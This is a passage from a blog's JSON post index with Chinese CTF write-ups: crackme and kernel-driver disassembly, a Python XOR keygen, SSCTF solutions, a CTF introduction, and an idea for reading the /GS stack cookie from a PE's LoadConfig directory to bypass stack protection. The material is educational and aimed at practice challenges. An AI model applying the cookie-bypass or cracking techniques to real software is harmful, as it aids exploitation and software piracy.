rax,7fffff880`02f85dbc 4889040e mov qword ptr [rsi+rcx],raxfffff880`02f85dc0 90 nopfffff880`02f85dc1 90 nopfffff880`02f85dc2 90 nopfffff880`02f85dc3 90 nopfffff880`02f85dc4 48ffc6 inc rsifffff880`02f85dc7 4883fe0b cmp rsi,0Bhfffff880`02f85dcb 74e0 je wzwzDingDing+0x2dad (fffff880`02f85dad)fffff880`02f85dcd 90 nopfffff880`02f85dce 4883c428 add rsp,28hfffff880`02f85dd2 415f pop r15fffff880`02f85dd4 415e pop r14fffff880`02f85dd6 415d pop r13fffff880`02f85dd8 415c pop r12fffff880`02f85dda 415b pop r11fffff880`02f85ddc 415a pop r10fffff880`02f85dde 4159 pop r9fffff880`02f85de0 4158 pop r8fffff880`02f85de2 5f pop rdifffff880`02f85de3 5e pop rsifffff880`02f85de4 5d pop rbpfffff880`02f85de5 5b pop rbxfffff880`02f85de6 5a pop rdxfffff880`02f85de7 59 pop rcxfffff880`02f85de8 58 pop raxfffff880`02f85de9 c3 retfffff880`02f85dea 00cc add ah,cl 然后flag:HCTF{5041504883ec2859c3},注意大小写啊 6. 其他 就这么多了,经验太少,就各路大牛路过指导","tags":[{"name":"hctf","slug":"hctf","permalink":"https://anhkgg.github.io/tags/hctf/"}]},{"title":"how to get GS cookie","date":"2014-11-05T03:32:29.000Z","path":"how-to-get-GS-cookie/","text":"Stack cookieStack cookies (/GS Switch cookie),windows防止栈溢出的一种机制,详见。 栈中的 cookie/GS保护 /GS 编译选项会在函数的开头和结尾添加代码来阻止对典型的栈溢出漏洞(字符串缓冲区)的利用。当应用程序启动时,程序的 cookie(4 字节(dword),无符号整型)被计算出来(伪随机数)并保存在加载模块的.data 节中,在函数的开头这个 cookie 被拷贝到栈中,位于 EBP 和返回地址的正前方(位于返回地址和局部变量的中间)。[buffer][cookie][saved EBP][saved EIP]在函数的结尾处,程序会把这个 cookie 和保存在.data 节中的 cookie 进行比较。如果不相等,就说明进程栈被破坏,进程必须被终止。 栈中的 cookie/GS绕过方法挫败这种栈溢出保护机制的最直接的方法是检索/猜测/计算出 cookie 值(这样就可以用相同的 cookie覆盖栈中的 cookie),这个 cookie 有时候(很少)是一个静态值…但即使如此,它也可能包含一些不利的字符而导致不能使用它。 如何通过PE来获取GS cookie的值在PE的DataDirectory中,第10序号的是一个叫做LoadConfig的东西,保存了映像的配置数据,里面就有GS cookie,来看看这个数据结构IMAGE_LOAD_CONFIG_DIRECTORY32 12345678910111213141516171819202122typedef struct { DWORD Size; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD GlobalFlagsClear; DWORD GlobalFlagsSet; DWORD CriticalSectionDefaultTimeout; DWORD DeCommitFreeBlockThreshold; DWORD DeCommitTotalFreeThreshold; DWORD LockPrefixTable; // VA DWORD MaximumAllocationSize; DWORD VirtualMemoryThreshold; DWORD ProcessHeapFlags; DWORD ProcessAffinityMask; WORD CSDVersion; WORD Reserved1; DWORD EditList; // VA DWORD SecurityCookie; // VA DWORD SEHandlerTable; // VA DWORD SEHandlerCount;} IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; SecurityCookieA pointer to a cookie that is used by Visual C++ or GS implementation. 所以,可以通过解析pe的方式,获取到SecurityCookie,进而绕过cookie/GS保护,这只是我的想法,也没测试过,是在分析某个sys的时间想到的,下面贴出获取Cookie的代码1234567891011121314151617181920unsigned int __stdcall myGetGSSecureCookie(PVOID ImageBase, ULONG Size){ ULONG v2; // edi@1 PVOID v3; // esi@1 PVOID v4; // eax@2 unsigned int result; // eax@7 v3 = ImageBase; v2 = Size; if ( (signed int)myGetValidNtHeader(1, (unsigned int)ImageBase, Size, (int)&ImageBase) < 0//myGetValidNtHeader获取nt头地址 || (v4 = RtlImageDirectoryEntryToData(v3, 1u, 0xAu, &Size), !v4)// 通过加载配置目录信息找到SecureCookie || !Size || Size != 0x40 && Size != *(_DWORD *)v4 || *(_DWORD *)v4 < 0x48u || (result = *((_DWORD *)v4 + 15), result <= (unsigned int)v3)// loadcofig->SecurityCookie // A pointer to a cookie that is used by Visual C++ or GS implementation. || result >= (unsigned int)(v3 + v2 - 4) ) result = 0; return result;} 其他没来得及查资料,是否有完整的绕过方法,这只是自己突然分析到这,想到的,不对之处,敬请见谅。","tags":[{"name":"PE","slug":"PE","permalink":"https://anhkgg.github.io/tags/PE/"},{"name":"GS","slug":"GS","permalink":"https://anhkgg.github.io/tags/GS/"},{"name":"cookie","slug":"cookie","permalink":"https://anhkgg.github.io/tags/cookie/"}]},{"title":"ctf认识","date":"2014-11-04T07:08:11.000Z","path":"known-ctf/","text":"CTF meaningCTF: 全称Capture The Flag, 就是夺旗比赛,衍生自古代军事战争模式,两队人马前往对方基地夺旗,每队人马须在保护好己方旗帜的情况下将对方旗帜带回基地。在计算机安全领域,CTF是一种计算机安全竞赛。CTF通常有两种形式,解题模式(Jeopardy)和攻防模式(Attack-Defense), 在解题模式的比赛中,主办方会提供一系列不同类型的赛题,比如上线一个有漏洞的服务、提供一段网络流量、给出一个加密后的数据或经过隐写后的文件等,他们将 flag 隐藏在这些赛题中,选手们通过比拼解题来一决高下;在攻防模式比赛中,主办方会事先编写一系列有漏洞的服务,并将它们安装在每个参赛队伍都相同的环境中,参赛队伍一方面需要修补自己服务的漏洞,同时也需要去攻击对手们的服务、拿到对手环境中的 flag 来得分,攻防模式的竞赛往往比解题模式的竞赛更接近真实环境,比赛过程也更加激烈。 一般资格赛采用解题模式,决赛采用攻防模式。 CTF contentCTF包含题目较广,有 逆向工程 密码学 ACM编程 web漏洞 二进制练习 网络和取证 隐写术 无线安全等等。需要深入研究某几个方向,涉及其他方向的知识。 CTF matchs国际赛比较有名的比赛:DEFCON CTFHITCON CTF 国内较有名气的信息安全比赛有:ISCC ctf2011年上海市信息安全技能竞赛全国大学生信息安全竞赛四川省大学生信息安全技术大赛全国大学生网络安全实战竞赛江西高校信息安全知识及软件设计大赛绿盟科技杯-信息安全对抗技术竞赛XCon安全焦点信息安全技术峰会 以及目前各网络公司组办的ctf比赛,如alictf, bctf, 360信息安全技术大赛 CTF starting各个方向学习参考(ctrl+c+v): 逆向工程。我强烈建议你得到一个IDA Pro的副本,这有免费版和学生认证书。尝试下crack me的问题。写出你的C语言代码,然后进行反编译。重复这个过程,同时更改编译器的选项和程序逻辑。在编译的二进制文件中“if”声明和“select”语句有什么不同?我建议你专注于一个单一的原始架构:x86、x86_64或是ARM。在处理器手册中查找你要找的,参考有:《Practical Reverse Engineering》《Reversing: Secrets of Reverse Engineering》《The IDA Pro Book》 加密。虽然这不是我自己的强项,但这里有一些参考还是要看看的:《Applied Cryptography》《Practical Cryptography》Cryptography I ACM编程。选择一个高层次的语言,我推荐使用Python或Ruby。对于Python而言,阅读下《Dive into Python》和找一些你要加入的项目。值得一提的是Metasploit是用Ruby编写的。关于算法和数据结构的计算机科学课也要在此类中要走很长的路。看看来自CTF和其他编程的挑战,战胜他们。专注于创建一个解决方法而不是最快或是最好的方法,特别是在你刚刚开始的时候。 web漏洞。有很多的网络编程技术,在CTF中最流行的就是PHP和SQL。php.net网站(译者注:需翻墙)是一个梦幻的语言参考,只要搜索你好奇的功能。PHP之后,看到网页上存在的挑战的最常见的方法就是使用Python或Ruby脚本。主要到技术有重叠,这有一本关于网络安全漏洞的好书,是《黑客攻防技术宝典:Web实战篇》。除此之外,在学习了一些基本技术之后,你可能也想通过比较流行的免费软件工具来取得一些经验。这些在CTF竞争中也可能会偶尔用到,这些加密会和你凭经验得到的加密重叠。 二进制练习。这是我个人的爱好,我建议你在进入二进制练习前要完成逆向工程的学习。这有几个你可以独立学习的常见类型漏洞:栈溢出,堆溢出,对于初学者的格式字符串漏洞。很多是通过练习思维来辨别漏洞的类型。学习以往的漏洞是进入二进制门槛的最好途径。推荐你可以阅读:《黑客:漏洞发掘的艺术》《黑客攻防技术宝典:系统实战篇》《The Art of Software Security Assessment》 取证/网络。大多数的CTF团队往往有“一个”负责取证的人。我不是那种人,但是我建议你学习如何使用010 hex editor,不要怕做出荒谬、疯狂、随机的猜测这些问题运行的结果是怎样。最后,Dan Guido和公司最近推出了CTF领域指南,会对以上几个主题的介绍有很好的帮助。 其他Smash the Stack(漏洞利用)Crackmes.de(逆向工程)Netforce.nl(web渗透与密码学)另外,BCTF赛题会与国际CTF比赛接轨,因此可以报名参加国际CTF比赛(详情参考ctftime)进行练手,也可以随时练习往届CTF赛题(赛题集合)。 CTF stars国内ctf赛棍: HITCON被称为”新台湾之光”, 2014年DEFCON 22 CTF中,取得世界第二的成绩。 Blue-Lotus蓝莲花(blue-lotus)战队成立于清华大学网络与信息安全实验室,主要从事计算机安全攻防方面的研究。 多数主要成员为清华大学在读研究生,后吸纳包括来自浙江大学、上海交大、青岛理工、中国海洋大学、杭州电子科大等高校的多名学生, 以及若干绿盟、阿里巴巴等公司的年轻安全技术人员。在业余时间,团队组队参加多项国际知名CTF赛事, 曾作为中国的团队首次闯入全球顶级的DEFCON CTF总决赛。这里可以看到blue-lotus在各项国际CTF赛事中取得的所有成绩。 其他","tags":[{"name":"ctf","slug":"ctf","permalink":"https://anhkgg.github.io/tags/ctf/"}]},{"title":"ssctf crack5详述","date":"2014-11-04T02:13:37.000Z","path":"ssctf-crack5-study/","text":"crack5中的坑注册验证函数中,各种int 3,致使进入通过SetUnhandledExceptionFilter设置的异常处理函数TopLevelExceptionFilter,在TopLevelExceptionFilter控制验证函数中的执行流程,由于先前我用的win7 x64调试,注册毫无反应,以为验证函数无法正常完整执行,so手工乱恢复,看了writeup之后,在xp中调试,你妹,居然可以正常执行…这是坑吗 某两大神writeup中的解题思路 geek710 FROM SSEg33k 在TopLevelExceptionFilter亦有花,geek710大神的想法是,走一遍TopLevelExceptionFilter,去除功能代码,然后再要跳去执行验证函数的位置,nop验证函数中所有花,这样,一次执行完整之后,就可以得到无花的验证函数,beautiful,跟着这个思想走了一下,不晓得那弄错了,每次都异常退出,下面是提取的TopLevelExceptionFilter的大致代码: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727300401336 87ED xchg ebp,ebp0040134A 8BDB mov ebx,ebx ; CrackMe.004012F000401354 8B4424 04 mov eax,dword ptr ss:[esp+0x4]//STRUCT _EXCEPTION_POINTERS *ExceptionInfo 00401442 8B08 mov ecx,dword ptr ds:[eax]//exp->ExceptionRecord0040139A 8139 03000080 cmp dword ptr ds:[ecx],0x80000003 //exp->ExceptionRecord == int 30040144A ^\\0F85 14FFFFFF jnz CrackMe.00401364//不是 int 300401391 33C0 xor eax,eax0040140D C2 0400 retn 0x4//是int 30040138A 56 push esi ; kernel32.7C88578000401471 8B70 04 mov esi,dword ptr ds:[eax+0x4]//exp->ContextRecord; 0040149F 8B96 B8000000 mov edx,dword ptr ds:[esi+0xB8] ; CrackMe.0040164B004014B8 803A CC cmp byte ptr ds:[edx],0xCC004012F2 /0F85 D6000000 jnz CrackMe.004013CE //是int 300401329 42 inc edx ; CrackMe.0040164B004013B0 87ED xchg ebp,ebp004013C4 8BDB mov ebx,ebx ; CrackMe.004012F0jmp 004014A8//不是int 3了,0xCC004014A8 8A0A mov cl,byte ptr ds:[edx]004013F1 8AC1 mov al,cl004014D0 C0E0 06 shl al,0x600401477 C0E9 02 shr cl,0x200401495 02C1 add al,cl0040149A 34 0D xor al,0xD004014B0 8AC8 mov cl,al00401430 C0E9 05 shr cl,0x5004014CA C0E0 03 shl al,0x3004014D6 87ED xchg ebp,ebp004014EA 8BDB mov ebx,ebx ; CrackMe.004012F0004014F4 02C8 add cl,al004014C1 80C1 11 add cl,0x11004012FF 8AC1 mov al,cl004013AA C0E0 05 shl al,0x5004013DA C0E9 03 shr cl,0x30040146C 02C1 add al,cl0040141F 34 51 xor al,0x510040147D 8AC8 mov cl,al004013D4 C0E1 07 shl cl,0x7004013FF D0E8 shr al,100401367 87ED xchg ebp,ebp0040137B 8BDB mov ebx,ebx ; CrackMe.004012F000401385 02C8 add cl,al00401407 80E9 6F sub cl,0x6F0040145A 81E1 FF000000 and ecx,0xFF00401463 81E1 07000080 and ecx,0x8000000700401424 03D1 add edx,ecx00401307 87ED xchg ebp,ebp0040131B 8BDB mov ebx,ebx ; CrackMe.004012F000401325 42 inc edx ; CrackMe.00401653004013E7 83C8 FF or eax,0xFFFFFFFF00401416 8996 B8000000 mov dword ptr ds:[esi+0xB8],edx ; CrackMe.00401654//清楚混淆的代码,填充0x900040136E 8BCA mov ecx,edx00401370 2BCF sub ecx,edi00401372 B0 90 mov al,0x9000401374 F3:AA rep stos byte ptr es:[edi]004013E7 83C8 FF or eax,0xFFFFFFFF0040142C 5E pop esi ; kernel32.7C88578000401439 C2 0400 retn 0x4 本来这个是很妙的方法,但是无奈没成功,换一个思路 Anonymous 这个方法较麻烦,在 00401416 mov dword ptr ds:[esi+0xB8],edx 处下条件断点,byte ptr[edx] != 0xCC,每次断下之后,记录edx指向的代码(新的int 3之前),完整记录之后,就是注册验证的代码,手工记录如下(不会脚本啊): 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341350040168D 6A 01 push 0x10040168F E8 30100000 call <jmp.&MFC42.#6334>004016CE BB E2D90100 mov ebx,0x1D9E200401715 8D77 64 lea esi,dword ptr ds:[edi+0x64]00401718 6A 00 push 0x00040171A 8BCE mov ecx,esi0040171C E8 9D0F0000 call <jmp.&MFC42.#2915>00401721 8945 F8 mov dword ptr ss:[ebp-0x8],eax0040175A 8B06 mov eax,dword ptr ds:[esi]0040175C 8B48 F8 mov ecx,dword ptr ds:[eax-0x8]0040175F 894D FC mov dword ptr ss:[ebp-0x4],ecx004017A1 8B36 mov esi,dword ptr ds:[esi]004017A3 68 0C414000 push CrackMe.0040410C004017A8 56 push esi004017A9 8B35 B4314000 mov esi,dword ptr ds:[<&MSVCRT._mbscmp>] ; msvcrt._mbscmp004017AF FFD6 call esi004017B1 83C4 08 add esp,0x8004017B4 85C0 test eax,eax004017B6 74 4C je short CrackMe.00401804004017F2 8B47 60 mov eax,dword ptr ds:[edi+0x60]004017F5 68 0C414000 push CrackMe.0040410C004017FA 50 push eax004017FB FFD6 call esi004017FD 83C4 08 add esp,0x800401800 85C0 test eax,eax00401802 75 17 jnz short CrackMe.0040181B00401804 6A 00 push 0x000401806 6A 00 push 0x000401808 68 2C404000 push CrackMe.0040402C ; ASCII "注册失败!"0040180D 8BCF mov ecx,edi0040180F E8 A40E0000 call <jmp.&MFC42.#4224>00401814 5F pop edi00401815 5E pop esi00401816 5B pop ebx00401817 8BE5 mov esp,ebp00401819 5D pop ebp0040181A C3 retn004018ED 8B45 FC mov eax,dword ptr ss:[ebp-0x4]004018F0 8B55 F8 mov edx,dword ptr ss:[ebp-0x8]004018F3 83C9 FF or ecx,0xFFFFFFFF004018F6 8D7410 01 lea esi,dword ptr ds:[eax+edx+0x1]004018FA 2BCA sub ecx,edx004018FC 8BC6 mov eax,esi00401947 0FBE50 FE movsx edx,byte ptr ds:[eax-0x2]0040194B 48 dec eax0040194C 03DA add ebx,edx00401994 8D149B lea edx,dword ptr ds:[ebx+ebx*4]00401997 8D14D3 lea edx,dword ptr ds:[ebx+edx*8]0040199A 8D1C52 lea ebx,dword ptr ds:[edx+edx*2]004019E4 8818 mov byte ptr ds:[eax],bl00401A22 81F3 3A45AC14 xor ebx,0x14AC453A00401A66 0018 add byte ptr ds:[eax],bl00401AA1 8D1401 lea edx,dword ptr ds:[ecx+eax]00401AA4 85D2 test edx,edx00401AA6 ^ 0F8F 52FEFFFF jg CrackMe.004018FE00401B42 8BC6 mov eax,esi00401B96 0FBE50 FE movsx edx,byte ptr ds:[eax-0x2]00401B9A 48 dec eax00401B9B 03DA add ebx,edx00401BD6 8D149B lea edx,dword ptr ds:[ebx+ebx*4]00401BD9 8D14D3 lea edx,dword ptr ds:[ebx+edx*8]00401BDC 8D1C52 lea ebx,dword ptr ds:[edx+edx*2]00401C2F 8818 mov byte ptr ds:[eax],bl00401C6C 81E3 46A554A4 and ebx,0xA454A54600401CAE 0018 add byte ptr ds:[eax],bl00401CF8 8D1408 lea edx,dword ptr ds:[eax+ecx]00401CFB 85D2 test edx,edx00401CFD ^ 0F8F 41FEFFFF jg CrackMe.00401B4400401D92 8BC6 mov eax,esi00401DDC 0FBE50 FE movsx edx,byte ptr ds:[eax-0x2]00401DE0 48 dec eax00401DE1 03DA add ebx,edx00401E27 8D149B lea edx,dword ptr ds:[ebx+ebx*4]00401E2A 8D14D3 lea edx,dword ptr ds:[ebx+edx*8]00401E2D 8D1C52 lea ebx,dword ptr ds:[edx+edx*2]00401E75 8818 mov byte ptr ds:[eax],bl00401ECD 81CB 37214715 or ebx,0x1547213700401F0A 0018 add byte ptr ds:[eax],bl00401F4E 8D1408 lea edx,dword ptr ds:[eax+ecx]00401F51 85D2 test edx,edx00401F53 ^ 0F8F 3BFEFFFF jg CrackMe.00401D9400401F9E 8BC3 mov eax,ebx00401FA0 33D2 xor edx,edx00401FA2 B9 1F011500 mov ecx,0x15011F00401FA7 F7F1 div ecx00401FA9 8BDA mov ebx,edx00401FF0 8D77 60 lea esi,dword ptr ds:[edi+0x60]00401FF3 6A 00 push 0x000401FF5 8BCE mov ecx,esi00401FF7 E8 C2060000 call <jmp.&MFC42.#2915>00402043 8B16 mov edx,dword ptr ds:[esi]00402045 8B52 F8 mov edx,dword ptr ds:[edx-0x8]004020D5 33C9 xor ecx,ecx00402111 83CE FF or esi,0xFFFFFFFF00402114 8D5402 01 lea edx,dword ptr ds:[edx+eax+0x1]00402118 2BF0 sub esi,eax004021A6 0FBE42 FE movsx eax,byte ptr ds:[edx-0x2]004021AA 4A dec edx004021AB 8D0C89 lea ecx,dword ptr ds:[ecx+ecx*4]004021AE 8D4C48 D0 lea ecx,dword ptr ds:[eax+ecx*2-0x30]004021F9 880A mov byte ptr ds:[edx],cl00402245 8D0432 lea eax,dword ptr ds:[edx+esi]00402248 85C0 test eax,eax0040224A ^ 0F8F CAFEFFFF jg CrackMe.0040211A00402290 3BD9 cmp ebx,ecx00402292 75 17 jnz short CrackMe.004022AB00402294 6A 00 push 0x000402296 6A 00 push 0x000402298 68 20404000 push CrackMe.00404020 ; ASCII "注册成功!"0040229D 8BCF mov ecx,edi0040229F E8 14040000 call <jmp.&MFC42.#4224>004022A4 5F pop edi004022A5 5E pop esi004022A6 5B pop ebx004022A7 8BE5 mov esp,ebp004022A9 5D pop ebp004022AA C3 retn00402384 6A 00 push 0x000402386 6A 00 push 0x000402388 68 2C404000 push CrackMe.0040402C ; ASCII "注册失败!"0040238D 8BCF mov ecx,edi0040238F E8 24030000 call <jmp.&MFC42.#4224> 根据这个写出注册机就行 注册算法待续","tags":[{"name":"ssctf","slug":"ssctf","permalink":"https://anhkgg.github.io/tags/ssctf/"}]},{"title":"ssctf writeup by anhkgg","date":"2014-11-03T08:01:09.000Z","path":"ssctf-2014-11-1/","text":"ssctf wirteup1. web8 U盘病毒UP_BOOT.img解压之后是两个文件autorun.txt和是男人你就下100层.exe,autorun.txt中的内容是”你真厉害都到这了,看看这个游戏你肯定会喜欢的,但是据说这个游戏是被加了后门的,找到后门操作的文件的内容,取文件内容的16位md5值作为key!祝你好运…….”。根据题目知道是男人你就下100层.exe添加了后门,那么在执行的时候肯定要释放后门,所以找了一款 文件操作监控工具 进行监测,添加了文件创建,进程创建监测,然后发现在tmp目录中创建了RarSFX0目录,然后在RarSFX0中创建了1.exe, 1.vbs, 2.exe,以及test.txt,简单查看1.vbs启动1.exe和2.exe,1.exe是后门,2.exe是原始的是男人你就下100层.exe,test.txt时候后门生成的,题目中要后门操作文件的·内容·16位md5作为key,那么1.exe,2.exe不大可能,只有1.vbs和test.txt了,提交了两次,test.txt的内容md5成功。 2.crack1代码很简单,输入用户名密码之后,讲密码每个字符和408030所在内存的数据xor得到的值和用户名比较,相同则成功。用了个py脚本将用户名和408030内存的值xor得到密码,然后密码的md5即是key12345678910k = [1, 2, 3, 4, 1, 5]#408030的值,还有其他的n = "xxxxx"#用户名a = ""for i in range(0, len(n)): k1 = ord(n[i]) k1 = k[i] ^ k1 a = a + chr(k1) print a 3.crack2反调试太多,没搞定 4.crack3程序流程是,多次右键或者左键点击,会给403070写入R或者L字符,48次之后,点击确认,如果右键活左键点击姿势正确,就可以弹出正确的key。验证过程是,通过48个L或者R可到key,如果通过48个L或者R的一个算法得到”查水表“三个字,那么点击姿势正确,key也正确,所以需要通过”查水表“的值逆推得到L和R的个数,具体算法是:1234567891011121314151617181920do { v11[v2] = 0; v3 = v1; if ( __SETO__(v1, v1 + 8) ^ 1 ) { do { v4 = 2 * v11[v2]; v5 = a1[v3] == 0x52; v11[v2] = v4; if ( v5 ) v11[v2] = v4 + 1; ++v3; } while ( v3 < v1 + 8 ); } v1 += 8; ++v2; } ”查水表“的值是B2 E9 CB AE B1 ED,通过上面算法和B2 E9 CB AE B1 ED推得点击姿势是:RLRRLLRLRRRLRLLRRRLLRLRRRLRLRRRLRLRRLLLRRRRLRRLR然后,操作一次,或者调试器内存修改,都可以得到key 5.crack4题目是”输入正确的密码,会释放出文件。key就在文件中。tips:第一层密码为6为纯数字,第二层密码也是6位。“粗略分析,输入第一次密码,释放并解密得到encrypt.exe,是一个exe,运行这个exe,输入第二次密码,释放并解密得到一个gif,密码验证算法是md5(md5(“HOWMPxxxxxx”)) == 09B2F924C20C5CA427EED2C5B98BEFBF,xxxxxx就是密码,先前一直想md5算出来,,没可能,后面发现释放文件之后的解密算法是xor,那么,嘿嘿,exe和gif格式的开头几个字节都是固定的,那么通过加密文件和正常文件的前6个字节xor即可得到密码,分别是564987和w!q&cs12MZ...... =>4D 5A 00 00 00 00 xor 78 6C 34 39 38 37 =>35 36 34 49 48 47 =》564987GIF89aX =》47 49 46 38 39 61 58 xor 30 68 37 1E 5A 12 => w!q&cs 最后得到解密之后的图片,图片就有key 6.crack5这到题太坑,点击注册啥反应没有,以为是没有调用注册功能函数,后来通过网上的特征码定位到了注册按钮的函数,地址是:00401640,结果一看代码全是混淆,各种int 3,jmp,,完全无法正常执行,所以点击之后无反应,尝试恢复,大概流程得到,先UpdateData获取到输入,然后一段算法比较,MessageBox注册成功或者失败。。但是加密算法那部分,实在是无力恢复了。","tags":[{"name":"ssctf","slug":"ssctf","permalink":"https://anhkgg.github.io/tags/ssctf/"}]},{"title":"关于我","date":"2014-05-16T15:42:01.000Z","path":"aboutme/","text":"0x00. 联系我 anhkgg.com anhkgg.github.io anhkgg@163.com github.com/anhkgg http://weibo.com/u/5829043072 微信公众号:汉客儿 0x01. 方向 Windows Kernel/内核研究 Rootkit Reverse Engineer/逆向分析 Expolit/漏洞分析挖掘 Rust/Sgx 0x02. 发布工具 Answerot答题小能手 Chisechat-心灵密令","tags":[{"name":"aboutme","slug":"aboutme","permalink":"https://anhkgg.github.io/tags/aboutme/"}]}]